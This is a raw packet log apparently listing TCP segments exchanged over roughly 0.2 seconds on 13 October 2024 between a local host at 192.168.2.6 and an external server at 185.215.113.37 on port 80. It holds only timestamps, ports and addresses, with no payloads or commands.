Oct 13, 2024 14:49:26.053585052 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.053586960 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.053596020 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.053606033 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.053617001 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.053617001 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.053627014 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.053663015 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.053678989 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.054189920 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.054198980 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.054208040 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.054218054 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.054228067 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.054238081 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.054239035 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.054251909 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.054259062 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.054260969 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.054271936 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.054279089 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.054281950 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.054292917 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.054301977 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.054306984 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.054311037 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.054321051 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.054327965 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.054331064 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.054341078 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.054342031 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.054351091 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.054361105 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.054389000 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.055398941 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.055411100 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.055421114 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.055429935 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.055439949 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.055449009 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.055449963 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.055459976 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.055469990 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.055480957 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.055483103 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.055490017 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.055500984 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.055510044 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.055521011 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.055521011 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.055550098 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.139436007 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.139487028 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.139497042 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.139549971 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.139560938 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.139560938 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.139601946 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.139616013 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.139619112 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.139626980 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.139671087 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.139698982 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.139709949 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.139743090 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.139808893 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.139826059 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.139836073 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.139844894 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.139844894 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.139856100 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.139864922 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.139880896 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.139904976 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.139986992 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.139997005 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140007019 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140016079 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140033007 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.140033007 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.140064955 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.140124083 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140135050 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140145063 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140152931 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140166998 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.140194893 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.140269041 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140279055 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140289068 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140297890 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140307903 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140316010 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.140316963 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140328884 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140336990 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140336990 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.140386105 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.140415907 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.140562057 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140573978 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140583992 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140593052 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140604019 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140613079 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.140614033 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140623093 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140640974 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.140666008 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.140839100 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140850067 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140858889 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140871048 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140881062 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140881062 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.140887022 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140897036 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140908003 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.140913963 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.140942097 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.140973091 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.141138077 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.141149044 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.141159058 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.141169071 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.141180038 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.141186953 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.141195059 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.141205072 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.141218901 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.141222000 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.141231060 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.141243935 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.141243935 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.141273022 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.141433001 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.141443968 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.141467094 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.141469955 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.141478062 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.141489029 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.141499996 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.141499996 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.141515017 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.141521931 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.141525984 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.141536951 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.141546965 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.141556978 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.141571045 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.141571045 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.141597033 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.141597033 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.141782045 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.141825914 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.141952991 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.141963959 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.141973019 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.141983032 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.141992092 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.141995907 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.142004013 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.142013073 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.142014027 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.142024040 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.142031908 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.142043114 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.142054081 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.142052889 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.142062902 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.142072916 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.142075062 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.142091990 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.142110109 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.142296076 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.142307043 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.142317057 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.142327070 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.142338037 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.142374992 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.142441034 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.142462015 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.142471075 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.142482042 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.142486095 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.142491102 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.142501116 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.142508984 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.142512083 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.142522097 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.142530918 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.142540932 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.142543077 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.142551899 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.142561913 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.142563105 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.142570972 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.142580032 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.142591000 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.142596006 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.142596006 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.142601967 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.142612934 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.142621994 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.142637014 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.142653942 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.143189907 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.143199921 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.143209934 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.143219948 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.143229961 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.143239975 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.143246889 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.143249989 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.143260002 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.143269062 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.143271923 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.143280983 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.143290997 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.143297911 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.143299103 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.143307924 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.143317938 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.143322945 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.143327951 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.143337965 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.143345118 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.143346071 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.143357038 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.143366098 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.143382072 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.143418074 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.229120016 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.229140997 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.229151964 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.229202032 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.229212999 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.229269028 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.229289055 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.229299068 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.229310036 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.229331970 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.229341984 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.229362011 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.229382038 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.229388952 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.229398966 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.229435921 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.229475021 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.229482889 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.229492903 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.229504108 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.229512930 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.229520082 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.229546070 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.229573011 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.229583025 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.229628086 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.229953051 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230000019 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230000019 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.230011940 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230038881 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.230066061 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.230082989 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230093002 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230102062 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230113029 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230122089 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230129957 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.230155945 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.230173111 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.230210066 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230221033 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230230093 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230254889 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.230283976 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.230290890 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230299950 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230309010 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230320930 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230330944 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.230369091 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.230397940 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230407000 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230432034 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.230462074 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.230532885 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230542898 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230577946 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.230660915 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230670929 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230680943 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230690956 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230701923 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230707884 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.230711937 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230722904 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230731010 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.230746984 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.230773926 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.230786085 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230829954 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.230861902 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230875015 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230885029 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230895996 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230897903 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.230918884 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.230947971 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.230973959 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230983973 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.230993032 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.231012106 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.231038094 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.231148005 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.231158018 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.231168032 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.231178045 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.231189013 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.231189966 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.231198072 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.231209040 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.231219053 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.231225014 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.231230974 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.231254101 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.231283903 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.231376886 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.231393099 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.231404066 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.231415033 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.231415987 CEST	49720	80	192.168.2.6	185.215.113.37
